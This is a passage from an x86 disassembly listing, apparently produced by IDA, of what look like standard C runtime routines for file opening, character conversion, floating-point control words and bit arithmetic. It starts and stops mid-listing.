; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26F0930h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 261084Fh test eax, eax jnz short loc_423C11 push esi call near ptr 2640897h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j call near ptr 2660DCFh nop push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 2600000h nop test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 2600841h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2600841h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2800000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2800000h nop cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2600000h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 27F0000h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 call near ptr 2800000h nop test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 nop call near ptr 2800000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], 